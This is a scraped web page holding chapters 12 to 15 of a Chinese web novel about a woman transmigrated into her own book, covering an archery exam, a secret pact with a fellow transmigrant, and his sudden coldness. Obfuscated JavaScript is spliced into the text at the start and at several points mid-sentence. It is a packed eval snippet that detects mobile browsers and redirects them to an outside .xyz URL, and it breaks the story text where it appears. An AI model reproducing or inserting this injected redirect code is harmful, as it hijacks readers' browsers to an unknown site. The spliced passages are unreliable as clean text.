;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可恶!”曹轩拉弓射出,差了半寸,没有射中。 香又断了些。 展清梦不知什么时候站在了展颜的身边。 “阿颜在看祁二公子?”展清梦问道,她总觉得最近展颜和祁浮生都有点怪怪的。 “不用担心,香快烧尽了。祁浮生输不了。”展清梦看着展颜道。 展颜只是一味咬紧牙关。 曹轩的草球上有两支箭,魏子谦的草球上有四支,而祁浮生马背上的草球干干净净。 祁浮生干脆将马勒停:“怎么,你们两个还要比?” 魏子谦已经累到面红耳赤,他趁着祁浮生说话的份儿,向着祁浮生射去。 不知道是箭术不精还是有意为之,这支黄羽箭向着祁浮生的胸口飞去。 祁浮生及时侧身才堪堪躲过。 展颜吓到捂住嘴。 祁浮生眼神一冷,一个反手,一支白羽箭无缝衔接,直接射在了魏子谦束起来的发冠上,力道之大将魏子谦直接带下了马。 “我不比了!我不比了!”魏子谦吓到在地上扑腾了两下,连忙将手里的弓箭扔出去。 颤抖地从地上爬起来时,发冠间的箭还在晃动着。 抬首时,白马已经踱步到眼前。 祁浮生面颊微红,但是气不喘,冷冷清清的声音传进魏子谦的耳朵里。 他将插在魏子谦头发上的箭拔出来道:“子谦兄莫要见怪,方才你那一箭吓到我了,一时间没有拿稳,射中了你的发冠。” 可是会骑术的谁不知道,比试时射中发冠就犹如射中首级。 一炷香过。 “一甲——祁浮生——” 主考官在看台上喊道,敲下了响锣。 12.坦白 月试两场考核,其中一场得到前三的成绩,就可以选择免考另一场。 展颜果断地放弃了“琴”试,原因当然是因为她对自己儿时只学了三个月古琴的三脚猫功夫有自知之明。 不去搞笑就好了,还想要靠这个拿成绩? 原主在这个方面至少还是个半吊子,而她连半吊子都算不上,把自己的把柄往别人手里送,不不不,这可不行。 日头当空照,展颜站在国子学大门前的石阶上,等着展清梦考核完一起回展府。 自己的女主真是好学,啥都要考,展颜感叹道。 她无聊地来回踱步,一会儿踢几脚坐镇在大门口的两头石狮子,一会儿又开始数沿街有几棵刚种下的小树。 最后站累了,索性提起裙摆一屁股坐在了国子学门口的石阶上。 这个点没有什么人,该走的都走了,要考的还待在国子学里,那她便是怎么舒服怎么来。 展颜眼神放空,从怀里掏出那本随身携带的簿子,手肘支撑在膝盖上,发呆。 这几日没听说傅朝尘有什么动作,估计是在想着怎么对付东宫太子。 原书里,傅朝尘通过设计了一场白珍珠案给太子扣了好大一顶帽子,水泼得要多脏有多脏,趁着老皇帝年纪大了脑子不好使,还容易意气用事,直接一怒之下废了太子。 也是一计借刀杀人。 从那件事之后,傅朝尘算是解决完了宫里最大的阻碍,也开始加大对展家动手的力度。 要说之前他对展清梦是若有若无的有意接近,那之后就是蓄意猛攻,也因此给展清梦和祁泽川带来了很多误会。 当然,傅朝尘如此执着于求娶展清梦肯定不是因为喜欢。 只因为他在京城根基不如太子,即使太子位被废,大多数老臣也难免不买傅朝尘的账,变数仍然很大。 展颜微微眯起眼盯着簿子,用手揉揉太阳穴,继续回忆着。 展五德和先帝是从沙场上一起捡回一条命的交情,先帝登基之初就赐给展五德一枚玉玺,上面刻着“共治天下”四个大字,简而言之,就是若是先帝死了,展五德可以另主天下。 但展五德自然没有,先帝去世后,展五德教导天子到现在,一直兢兢业业,恪尽职守,从不逾矩。 可是即便如此,天子仍然忌惮展五德,给他追封了太傅之位,表面上是正一品,可实际上太傅之位有势无权,就是一个空壳子。 傅朝尘见展清梦早已心有所属,展五德又拉拢不来,明面上动不得,就只好顺水推舟找到了同样心存不轨,有野心的祁浮生,将他拉入自己的阵营。 一心想要证明自己的祁浮生自然也是成为了傅朝尘手里“好使”的一把尖刀。 可俗话说得好,常在河边走,哪有不湿鞋,傅朝尘机关算尽,却也没料到最毒的那条蛇竟然盘踞在自己的身边。 祁浮生和展颜达成交易,展颜替祁浮生偷来玉玺,祁浮生却在将玉玺交给傅朝尘的前一晚上,将玉玺掉了包。 傅朝尘以展五德玉玺丢失,有通敌叛国之嫌为由,威胁他将自己的女儿交出,展五德视女儿为掌上明珠,又极看中清誉,天子怀疑,天下人指责,他不愿意女儿受辱,便在自缢前将自己的一对双姝许配给世交祁家的两位公子。 婚书起草的仓促,婚期也是赶着来的。 祁浮生和展颜约定换轿,他祁浮生娶展清梦,她展颜嫁祁泽川。 可祁浮生反水。 展颜被送去了宫里,被迫嫁给了傅朝尘。 都是展家的女儿,展颜也无不可,展家女在手,玉玺的由来便顺理成章,傅朝尘直接将天子挟持,接手天下。 祁泽川发现端倪,救出展清梦,带兵攻打回京城,却在战役中连中数箭身亡。 展清梦为了报仇雪恨,诱导祁浮生说只要他带她入宫,就愿意嫁给他。祁浮生自然欢喜,谁料展清梦手刃傅朝尘后却丝毫不带犹豫,自刎随着祁泽川去了。 一时间,天下无主,展清梦已死,祁浮生不再装好人,直接拿着真正的玉玺,二娶了已经有些神志不清的展颜,登基上位。 天呐!天呐!天呐! 这是什么狗血大虐片! 展颜长舒一口气,嘴角勾起,苦笑摇头。 当初自己写的有多爽,现在她就有多自闭。 这怎么改啊? 后悔啊,后悔死了,展颜胡乱跺脚。 “呦,今日日头这般大,展颜妹妹怎的还没走呢?” 展颜正坐着,忽而听见身后传来熟悉的声音。 阮芊芊走在前面,曹轩和魏子谦走在后面,三个人从国子学里面走出来。 哎又来了,阴魂不散,展颜站起身,拍了拍衣摆上的灰。 “今日妹妹可是在月试上出尽风头了。”阮芊芊在展颜面前停下。 “嗯。”展颜道。 “看来临时抱佛脚还是挺有用的。”阮芊芊故意贬损她。 “嗯。” “……” 展颜就听着阮芊芊说,也不回嘴,答得敷衍。 阮芊芊摆在身前的手指微微蜷曲,绞紧。 这要在平日里,展颜早就屁颠屁颠地跑到阮芊芊身边,揽住她的手,许诺给她什么什么好处了。 现下却不然。 “展颜,你阮姐姐今日没有考到前三甲,心情不怎么好,你快哄哄吧。”魏子谦走上前道,“好心”提醒道。 这三个人走在一起,准没憋好屁。 “我知道。”展颜道,站着没动。 魏子谦:“?” “怎么了,子谦哥哥?”展颜眼神楚楚可怜,低眉敛目地看向魏子谦。 魏子谦喉头一动,不自觉吞咽,向后推下半步,脚下不稳。 展颜的眼睛水汪汪的,平日里浓妆的脸上,现在白白净净的,一脸的可怜模样。 他哪里见过展颜这般! 以往她只会对阮芊芊撒娇,对他们两人却是爱搭不理。 “没……没什么。”魏子谦结巴,错开目光。 今天的展颜确实…… 魏子谦同曹轩二人面面相觑,一时不知是进还是退。 阮芊芊察觉到身后两人的反应,咬紧下唇。 “没事的妹妹,姐姐不用哄的,妹妹开心就好。”阮芊芊的话从牙缝里挤出来。 两个废物,阮芊芊在心里骂到,叫来给展颜一个噱头,现在人家一个眼神就把你们拐跑了,真是脑子长在裆子里。 “我也没有想要哄姐姐。”展颜察觉到了魏子谦和曹轩的反应,故意说道。 太棒了,是两个没长脑子的,有救了! “你——”阮芊芊的声音里带上怒气。 “哎呀,姐姐这是做什么,吓到我了,我自知应该没有做什么对不起姐姐的事。”好机会,展颜往后退一步,故意装作崴脚,坐在了地上。 “别激动,别激动。”曹轩忙拦住阮芊芊,“展颜妹妹还小,你吓到她了。” 阮芊芊:“?” “你们到底是哪边的!”阮芊芊不装了,直接对着曹轩道。 “我们自然是……一起的,对,一起的。”曹轩回答得模糊。 好啊,吵起来好啊,展颜心里笑得慈眉善目,一副唯恐天下不乱的架势。 魏子谦见展颜还坐在地上,想要将她扶起来。 “你们在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504651|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么!” 一道带着怒意的声音忽然传来,祁浮生刚从大门出来看见的就是这样的一副场景。 不知原委,他以为展颜被欺负了。 “祁,祁浮生。”魏子谦刚伸出的手又缩了回来。 刚从武场那边过来,弓箭还在手里,二话不说,祁浮生直接取箭拉弓,对准魏子谦。 “别别别!”魏子谦抱住脑袋,方才武场上的阴影还在,他连忙像一只小鼠一般往旁边逃窜开来,这是又把他当靶子了。 祁浮生又将箭对准曹轩,曹轩腿下一软,呼吸加重,踉踉跄跄,急忙对魏子谦道:“走!” 说完,两人赶紧逃跑,连头都不带回一下。 “你们!”阮芊芊咒骂。 废物,囊种! 阮芊芊面色铁青,不就是魅男吗,她阮芊芊也会! 阮芊芊回头,面上带笑,眼神勾人地看向祁浮生,矫揉造作,本想着要向他散发魅力,却发现祁浮生手中的箭头正对自己的脑门。 “祁公子~,有话——” “滚。”祁浮生将弓拉满,言简意骇。 “你们,你们等着瞧。”阮芊芊吃了瘪,又羞又恼,脸色一变,瞪了展颜和祁浮生一眼,跑开了。 等到三人都彻底消失不见,祁浮生才放下弓。 “哈哈哈哈哈。”展颜看着三人落荒而逃的样子,捧腹大笑。 “你还笑得出来!”祁浮生走到展颜面前,“有……有没有哪里受伤。” “没有啊。”展颜挥挥手臂。 “没有你坐地上?” 展颜从地上爬起来,道:“我演戏来着。” 眨巴眨巴眼。 祁浮生:“……” …… “这就是全部的经过,怎么样,我演的好吧。”展颜道。 “这次是你运气好,下次就不一定了。”祁浮生还是有点怨气。 结果下一秒,一巴掌就拍在了他的背上。 “你还好意思说我!”展颜假笑,“刚才是谁在武场上孔雀开屏,我说你好端端的考个试能怎么样,一定要搞一些花里胡哨的,我谢谢你给我的小说丰富内容哈!” “那还不是——”祁浮生正欲变辩驳,像是突然想到了什么,没有说下去,总不能说是因为气不过有人贬低你吧。 展颜好奇:“不是什么?” “没什么。” “大哥,你以后注意一点吧,祁浮生的人设都要被你ooc了。”展颜道,“一向身体弱的人,现在可是会挽雕弓如满月,西北望……” 展颜闭着眼,滔滔不绝。 祁浮生没有说话。 “怎么了?” “展颜,你有没有发现,我们自从穿到你的书里,就一直有一个误区。”祁浮生看向展颜,神色认真起来。 看出他不是在开玩笑,展颜问道:“什么?” “我们像我们看的那些穿书文里一样,认为自己应该一直扮演好原主的人设身份,但其实,系统并没有要求我们这么做过。”祁浮生道。 他其实自从知道展颜也是穿过来的时候,就已经在思考这个问题,正好借着这次的行动,完全印证了自己的猜想,系统没有制止。 如果他们两个人可以摆脱原著人设,那么两个系统任务就不存在相悖的情况,也就是说,他们两个不存在最后只能相残的地步。 展颜低头想了想,好像……确实。 “不过,这很重要吗?”展颜问道。 “重要!”祁浮生看向展颜大声道,激动到语调提高。 展颜被吓一激灵,用手捂住小心脏道:“哎呀妈呀,有话好好说,我又不聋。” 13.发“病” 祁浮生叹了口气,有些犹豫。 展颜:“?” “那个,先说好,不管我等会儿说什么,你都不能生气。”祁浮生道,自知之前一直瞒着她任务的事情有些心虚。 “行。”展颜双手叉腰,眼睛微微眯起,嗯,事情不简单。 “之前我同你说我的任务和你一样,是骗你的。”祁浮生说着,与展颜拉开了一点距离,“我的主线是要改变你的结局,所以一开始才有意阻挠你的任务,因为如果要维持人设,我们两个的任务肯定是相悖的。” 展颜一愣,有点懵,随后一想,明白了。他和她一开始在对立面,若是他今日不坦白……那她极有可能,之后就是要被他算计了。 “所以你一开始就没打算告诉我,然后想要暗地里把我的任务给堵死,最后自己美美回到现实世界?”展颜道,她故意添油加醋了些,她没有生气,只是想到正好可以借着这个机会,握住祁浮生一个把柄,好好坑他一笔。 祁浮生不知道展颜心里在想什么,在他看来,展颜这是生气了。 “没!其实……差不多……”祁浮生道。 展颜见他这副样子哭笑不得。 “这不是还没有行动吗。”祁浮生底气不足。 “所以现在呢?”展颜给他递话。 “现在我们可以自主安排自己的行动,那你的命运轨迹就不会一定和男女主联系在一起,这样事情就好办多了。”祁浮生道。 国子学下学的时辰快到了,门□□动的人流多了起来。 展颜将祁浮生拉到一旁不太起眼的角落。 “所以呢,你打算之后怎么做?”展颜站定后循循善诱道,想引导着祁浮生往坑里跳。 “之后我的任务就是护你周全,至少让你不要非自然死亡,你好好完成你的任务,我不会再阻拦你的!”祁浮生束起三指发誓。 展颜道:“……你能不能咒我点好。” 不等祁浮生再说话,展颜继续道:“那你保证你之后都要听我的,我有需要的时候你要随时帮我,不能再想着害我。” 展颜约法三章。 祁浮生犹豫,怎么觉得有点像在签卖身契。 “你要是不同意,我就在自己的任务结束之后,把自己掐死。”展颜作势用双手握住脖子,吐出舌头装模作样。 “行,同意还不行吗。”虽然知道她在开玩笑,但祁浮生还是败下阵来。 以前怎么没发现她损人的法子这么多。 “那好!”展颜面上红光焕发,脚底下也是高兴地蹦哒着,“看在你这么真诚的份上,那我也大人有大量,勉强告诉你一件事吧。” 祁浮生道:“什么?” “我有金手指,可以改变三次剧情。”展颜笑嘻嘻地观赏祁浮生后知后觉的反应。 祁浮生:“?……!” “那你也有事情瞒着我!” “对啊。”展颜品味着祁浮生懊悔的表情,哦耶,终于将了他一局。 “亏我刚才那么愧疚!你早干嘛不说,就等着坑我!” “你也没问呐。”展颜挑眉,一副胜利者的姿态左摇右摆。 “……” “叮咚——” 系统音突然出声。 “提醒宿主,男女主好感度15%” 展颜:“?” 祁浮生:“?” 这是怎么回事?发生了什么?他们好像什么都没做吧。 这这这,这科学吗? 还是说,展清梦和祁泽川…… 展颜和祁浮生大眼瞪小眼。 疑惑之际,国子学的门口,突发事件的两位主角说说笑笑地走了出来。 “躲进来一点!”展颜小声对祁浮生道,赶紧拉了他一把,两个人扒在石狮子后面听起墙角。 展清梦迈过门槛。 “展姑娘小心。”祁泽川道,好像展清梦会被这么一个不足十寸的木头坎子绊倒似的。 “方才一路走来,和祁公子聊得很尽兴,祁公子对爹爹的问候,清梦会如实转告的。”展清梦礼貌回道,笑得温婉。 “展姑娘不用这般见外,以后直接唤我泽川便好。” “那祁公子以后也唤我清梦便好。” 两人静静站着,也不说话,氛围微妙。 啊啊啊,展颜看得满眼放光,好糖!好嗑!兴奋得跺脚。 就喜欢看这种男女主刚刚开始熟悉的青涩模样!展颜用手捂住嘴,强压下飞上天际的嘴角,兴奋地上下蹦跳。 “怎么,你身上痒啊。”祁浮生开口就是金句。 “你不说话会死啊。”展颜没好气地白了身后的祁浮生一眼,“这么甜的氛围,到处都是粉红泡泡,你感受不到吗?” 祁浮生撇嘴:“我只看到了尴尬。” 他说的也没错,祁泽川的手背在身后紧张地搓着,都要搓出火星子了。 “祁……泽川,那个,时辰不早了,我也该去找阿颜回府,再晚些阿颜该要着急了。”展清梦脚步挪动了几下,收回目光向着四周张望。 不着急啊,阿姐我不着急,展颜心里乐呵呵地想。 “今日考核定是耗费了不少心力,清梦回去早些歇息。” 哦呦呦,这么快就叫上口了,展颜咂嘴。 “你把你的口水收一下,再流下去就成河了。”祁浮生在展颜的耳边阴测测道。 “吓死人了!” “胆子真小。” 展颜觉得祁浮生现在是在有意报复他,但她没有证据。 展清梦走下石阶。 别别别,再聊会儿呀,展颜遗憾。 “姑娘!” 突然,一句响亮亮的“姑娘”在展颜和祁浮生身后炸响。 是来接姑娘下学的秋果。 “姑娘,你躲在这里做甚?”秋果一脸天真,好奇道。 “秋果,嘘嘘嘘。”展颜忙捂住秋果的嘴,可是已经来不及了。 “阿颜?”展清梦听见动静,试探问道。 展颜深吸一口气,缓缓转过身:“哈哈,阿姐好巧啊。”糟糕,听墙角被抓包。 祁浮生躲得及时,严丝合缝地藏在了石狮子后面。 “阿颜,你站在那里做什么?” 人在心虚时,小动作总是特别多,展颜东张西望一番,眼神乱瞥,最后指了指天上的太阳道:“今日日头有点烈,这,这里凉快,哈哈哈……哈哈。” 笑声越来越轻,最后尴尬停住,展颜只敢盯着自己的脚尖。 “祁二公子,你怎么也在这?”秋果眨巴眼睛,真诚发问。 祁浮生身子一僵。 我勒个逗!展颜回头身无可恋地看向秋果。 “浮生?”祁泽川听见二弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515852|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字,便也踱步过来。 石狮子后面冒出一个脑袋,祁浮生规规矩矩地站定在展颜的身后,道:“大……大哥。” “你这是……”祁泽川疑惑。 “这里……确实凉快。” 一时间,气氛有点奇怪。 秋果脑回路许是有些长,现下自顾自跑到展颜身边,用求夸奖的语气道:“姑娘你不是说今日回去要吃桂花糕吗,秋果已经买好了,咱们快走吧。” 对对对! 展颜借势忙跑到展清梦身边,跨上她的胳膊拽着人就走,这里是是非之地,不可留啊不可留。要是再站着,指不定最后一张窗户纸都要捅破了。 “阿姐,我请你吃桂花糕!”展颜忙慌慌说。 “慢,慢点。”展清梦闻言一笑,没有多想。 “姑娘等等我!”秋果追上去。 石阶上,只剩下祁浮生二人。 祁泽川走到祁浮生面前,本以为他又要说些什么劝戒的话,祁浮生却觉得肩膀上狠狠挨了一下。 “好样的!” “……啊?” “之前一直听父亲说你身子弱,练不了武,今日一见,也太谦虚了,骑术这般好,怎么也不提前和大哥说,害得大哥在武场上白白为你担心!回去之后我们好好切磋切磋,怎么样……”祁泽川一脸高兴模样,滔滔不绝。 祁浮生都一一应道,两人一起往祁府的方向走去。 “父亲要是知道你骑术练得这般好,也会高兴的!”祁泽川道。 嘶! 眉间如抽筋般一阵剧痛,像是有一只手将他往上一拽,将脊梁骨抽离一般,祁浮生头疼到猛吸一口凉气。 怎么回事? “二弟,你……” “没事!”祁浮生摆手。 糟糕,又来了。 *** 月色被厚重的乌云遮蔽,夜空泼墨般漆黑,屋外狂风呼啸,肆意撕扯着世间万物,窗户纸被风吹得“呼啦啦”响。 屋内,昏黄的烛光摇曳,映照出祁浮生略显清瘦的身影。他将房门牢牢闩上,仿佛有了那扇木门便可以与这个世界暂时隔绝。 无力地靠在床沿边,祁浮生双手搭在膝盖上,眉心紧蹙,疼得额角渗出细密的汗珠,顺着脸颊滑落,在烛光下反射着微光。 扬起头,喉结上下滚动,身体微微颤抖,有一股寒风自体内深处涌出,来势汹汹,和那日百花宴相似。 他能感觉得到自己开始无法掌控双腿,其次是四肢,但是意识是清醒的。他试图驱赶,可那股力量却像是与他心意相通,越挣扎反而越强大。 终于,祁浮生缓缓低下头,眼神变换,那双曾经灿若星辰的眼眸,在短暂黯淡后,闪出一丝幽怨的光。 祁浮生将头抬起,有点茫然。 “我怎么会坐在房里,我不是要去送簪子吗?”右手的手指下意识摩挲着,却抓了个空。 他……这是喝多了?百花宴结束了? 扶着床沿站起身,头有些胀痛,他走到屋门前,将闩上的门打开。 没有月亮。 今日没有见到展清梦,还是不知道她喜不喜欢自己上次送去的糕点。 算了,明天再给她买一份好了。 祁浮生面若寒霜的脸上,挂上了一丝带着甜意的笑容。 明天又能见到她了,真好。 14.蹊跷 一场月试,让展颜的名气在京城里渐渐传开,曾经在京城市井人们口中赞颂的展家有女初长成,如今也改口成了展氏双姝。 除此之外,就是祁家二公子身子转好的消息,一场骑射,让原先遗憾于祁浮生身有疾而难许终生的女子,纷纷投来艳羡目光。 “公子,怎的今日想来这春日斋?”安福随着自家公子一大早就进了城西的糕点铺子。 这几日公子很奇怪,总是一个人待在屋子里,不让他事事跟着,也鲜少同人讲话,安福以为是大公子从边陲回来,老爷有意将大公子同展家的大姑娘结亲,那展大姑娘可是自家公子的心上人,公子因此不高兴。 可他却又好几次见到公子笑得开心,听大公子说昨日在武场上,公子骑射还拿了一甲呢,这可是安福以前不敢想的。 今日公子倒是主动来找他了,天刚亮就叫上他来了这春日斋。 祁浮生在春日斋里走着,一大早刚出炉的糕点还冒着热气,色泽鲜艳,形态漂亮,气味香甜,摆放在精致的碟子里,更显精致。 “昨日没有问到展姑娘是否喜欢这春日斋的糕点,今日便再买点过去。”祁浮生道。 展姑娘?展大姑娘还是展二姑娘?安福心里想着,这几日公子都没有在他面前提到过展大姑娘,倒是展二姑娘展颜,公子问过他几次,他以为公子已经放下展大姑娘了。 “公子是要送给展二姑娘?”安福于是问道。 祁浮生端着碟子的手一顿,回头看着安福:“你是怎么问出这种问题的。” “这些,还有这个,全部包起来。”祁浮生对店家道,将一锭金子放置柜台上。 京城可是耗金疙瘩的地儿,春日斋更可谓是一粒粮,一抹金,平常百姓根本不会踏足的地儿。 给展清梦花银子,祁浮生心甘情愿,毕竟若是那时候没有她施舍的那盒糕点,他也活不到现在。 “好嘞!公子稍等!”店家收下金子,高高兴兴地去准备食盒。 “你今早为何不来院里洒扫。”祁浮生问道,看着安福的神情还算温和。 “公子先前不是说不用一大早到院里扰您歇息吗?”安福疑惑,说道。 半月前百花宴回来那天就说过的,连带着叫安福晚上也不用守门。 祁浮生神色不变但却目光一冷道:“我何时说过。” “您……许是安福记错了。”安福触上公子的目光,不觉瑟缩,倒是闭上了嘴,不说话了。 今日公子的眼神正常了,但也冷了。 铺子里进了些人,开始想起了些窸窸窣窣的说话声。 一些闲言碎语传进了祁浮生的耳朵里。 “你看,那边的是祁二公子吗?”有姑娘用扇子挡着脸轻声问身边的密友。 “好像是。”女子面颊微红。 姑娘推搡着:“你可是没有眼福了,昨日祁二公子在武场上的策马那才叫一个……” “去看看他买了什么……” …… 祁浮生眉头微皱,神色在他人看不见的地方变得阴沉起来,春日斋里的温度似乎都下降了几分。 “公子,您的糕点都打包好了。”掌柜的将食盒双手奉上。 祁浮生轻微颔首,小心接过食盒,顾自出了春日斋,安福马上跟上。 一路上,祁浮生没有说话。 *** 展府里,展颜坐在后院里展五德刚刚给她搭好的秋千上。两只脚丫晃荡着,好不快活。 脚上一对金丝做的绣鞋上,两只蛱蝶栩栩如生,是展夫人姜回燕亲手绣的。 “怎么样,小宝。”展五德抹了一把额上的汗水,布上皱纹的脸上笑容灿烂,“爹爹做的秋千好玩吧。” 展颜前后荡漾着道:“好玩!爹爹做的东西都好玩!” 还不够高,不够刺激,展颜使劲蹬了几下地面,秋千一瞬间将她带高了不少。 “呜呼——” “哎哎哎,小心点!”展五德嘴上指责着,但心里却高兴得不行。 “小宝以后少闷在自己的院子里,来这后院走走多好啊,是吧,你还想要什么,爹爹都给你找来。”展五德乐呵呵道。 “你就宠她吧。”展夫人姜燕回从膳房那边过来,端着一叠油酥饼,嗔怪道。 “来,阿颜累了吧,过来吃点姜姨做的油酥饼。”姜燕回将手中的碟子放置在院子里的石桌上。 展颜一下子从秋千上蹦跶下来,几步跑到桌边,拿起一块酥油饼就开始啃起来。 “好香啊!”展颜吃得津津有味。 “慢点,好吃就多吃点,不够膳房里还有。”姜燕回温柔地用帕子擦拭着展颜粘在嘴角的一点油沫星子。 “谢谢娘!”展颜脱口而出。 姜燕回的手一顿,有些颤抖起来,说出的话带着不可置信:“阿颜方才叫我什么?” 十六年,她等了这个称呼十六年。 “娘。”展颜又叫了一声,姜燕回越高兴,她心里其实就越愧疚。 她已经不是真正的展颜,而且原书里,他们最后也被展颜害的……算了,怎么说都是我欠下的,那就我来还好啦。 “以后您就是我亲娘。”展颜乖巧道。 姜燕回眼泛泪花:“好好,娘在。” 两人正感动着,身边传来比姜燕回更响的呜咽声,展五德站在一边,眼泪流成了一个泪人。 “爹……你哭什么呀?”展颜汗颜。 原来展家一家子都这么感性的吗? “太好了。”展五德拭去眼角的泪花,往前院看去,“清梦呢,咱们一家好久没有这般一起坐着聊天了,叫来一家子一起说说话吧。” “清梦在屋子里学女红呢,我请了京城里有名的绣娘,这不是已经十八了吗,也是出嫁的年纪了,盖头绣鞋都是要自己绣的,这女红自然也不好落下。”姜燕回道。 “对对。”展五德应道,可随后又觉得不对劲,许是“出嫁”这两个字眼戳到了他的心窝子,又开始难受了起来。 “两个女儿都要出嫁,这可怎么办才好!到时候我要是想女儿了怎么办?不得行!不能便宜哪家的臭小子,我们展家要招就招赘婿,对!招赘婿!”展五德激动道。 “这成何体统啊。”姜燕回安慰道。 展颜则不然,她现在满脑子都是祁泽川赘婿到展家的画面,这也是很有生活了。 “说的也是,阿颜也快到要议亲的年纪了,女红什么的也不能落下,到时候也得学学。”姜燕回对展五德道,“明日我带着两丫头去香积寺上香,大抵要待三日,也是去求一门好姻缘。” 展颜:“?” 吟诗抚琴还不够,还要做针线活?瞬间,笑容僵持在脸上,都穿成一品太傅的女儿了,难道就不能吃吃喝喝一辈子吗。 “爹娘,阿颜不想嫁人,阿颜想永远待在爹和娘的身边。”展颜撒娇道。 这样总可以了吧。 “阿颜还小,等到再长大些,有了喜欢的人就不会这般说了,指不定到时候还要赶着让爹娘写婚书呢。”姜燕回轻轻捏捏展颜软糯的小脸。 不一样的时代,一样的话术,怎么连穿到书里都逃不过被催婚的命运啊。 展颜正悲催着。 “姑娘。”秋果从前院跑过来,急急忙忙道,“秋果看见祁二公子向着咱们府上来了,手里还拿着春日斋的食盒!” 她方才去采买些姑娘院子里缺的东西,就见到远处安福跟着祁浮生一路向展府走来。秋果自认为祁浮生是来找展颜的,便飞快跑回来汇报。 哪成想,院子里,老爷和夫人都在。 秋果喊都喊完了,才发觉喊早了,老爷夫人都听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525785|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “祁二公子?是祁家的二公子吗?”姜燕回听见这个称呼,好奇问道。 “阿颜何时和祁家的二小子这么熟了?”展五德也是疑惑,对着展颜问。 这该如何解释?展颜脑子飞快转动着。 “啊哈哈,没有没有,就是昨日一时兴起和他打赌打赢了,他说今日要给我带好吃的,就,就这么简单。”展颜结巴。 “我去去就回。”展颜说完,在展五德和姜燕回的眼皮子底下撒开脚丫子往前院跑去。 不对啊,我跑什么? 于是在院门口,展颜又立马顿住脚步,换成光明正大的大踏步。 *** 前院,祁浮生进了展府的大门,手里宝贝地攥着食盒,轻车熟路地往展清梦的院子里走,门口的小厮见是祁家二公子便也没有阻拦。 展颜急匆匆赶到前院,今日祁浮生来找她没有提前通知,必定是有什么急事,可不能让他久等了。 拐过廊桥,展颜看见假山后面飘过熟悉的衣角。 祁浮生那抹熟悉的眉眼出现在廊桥尽头。 “祁浮生!”展颜兴奋唤道,手摇得像拨浪鼓。 展颜嫌过脚踝的长裙有点碍事,提起裙摆往廊桥那头跑去。 “你今日来找我有什么事吗?”跑得有点急,等到展颜跑到祁浮生去展清梦院子的必经岔路口时,还有些喘不上来气。 春日斋的糕点食盒也是精致非常,在阳光下竟也反射着金箔般的光线。 “这是春日斋的点心吗?听说这家铺子的糕点很贵,哎呀,来就来嘛,买什么糕点呀,破费了不是。”展颜嘴上这么说,手却向食盒伸过去。 可没料到,祁浮生连看都没看她一眼,直接略过继续向前,要说有什么反应,就是将原先左手拿着的食盒,换到了右边,特意避开了展颜伸出来的小手。 展颜顿时愣在原地,伸出的手都没收回,他这是,没理我? 为什么? 祁浮生没有片刻停留。 “祁浮生?”展颜跟上祁浮生的步子,“祁浮生?祁浮生……祁浮生?” 展颜在他左耳朵右耳朵都唤了几遍,可是愣是没有得到一点反馈。 秋果跟在展颜的身后,挤眉弄眼地询问同样跟在后面没做声的安福。安福也是一脸无奈,这他哪里知道。 “等等!”展颜直接伸手拦在祁浮生面前,祁浮生站住,身前的衣摆没有一寸触碰到展颜的衣袖。 祁浮生面色冷凝,板着一张脸,看不出具体的情绪。 “展二姑娘,有什么事。”虽是一句问话,但是却感觉是一块块吐出的冰块,让人心里冒出寒气。 “你今日怎么了,为什么不理我呀,你以前可不是这样的,我都唤你一路了。”展颜双手叉腰,占据祁浮生往前走的道路。 本以为可以等来他的解释,可祁浮生却只是一副觉得她莫名其妙的轻佻模样。 “展二姑娘何出此言,我祁浮生与姑娘何时相熟过,以前?以前是什么样的?” “以,以前——”展颜被他反问住了。 端着食盒的手紧了紧,许是感受到温热气的散失,祁浮生的眉头拧皱起来:“展二小姐,麻烦让让。” 让让? 展颜还未反应过来,祁浮生也等不及她思考,直接侧身走过,展颜躲避不及,肩膀被他的手臂狠狠撞到,踉跄往后退了几步,绊在道路边的木头围栏上,直接一下子坐在了地上。 嘶!好疼! “姑娘!”秋果惊呼。 这是一处观园林的小廊道,道路边上自然是铺着小碎石以供观赏。这一下摔得不轻,展颜杵在地上的手掌已经见了红。 祁浮生听闻她摔倒的动静,却只是微微顿步:“失礼了,展二姑娘。” 随后,自顾自离开。 15.占卜 是夜。 今晚的月亮很亮,可是展颜心里却乱糟糟的。 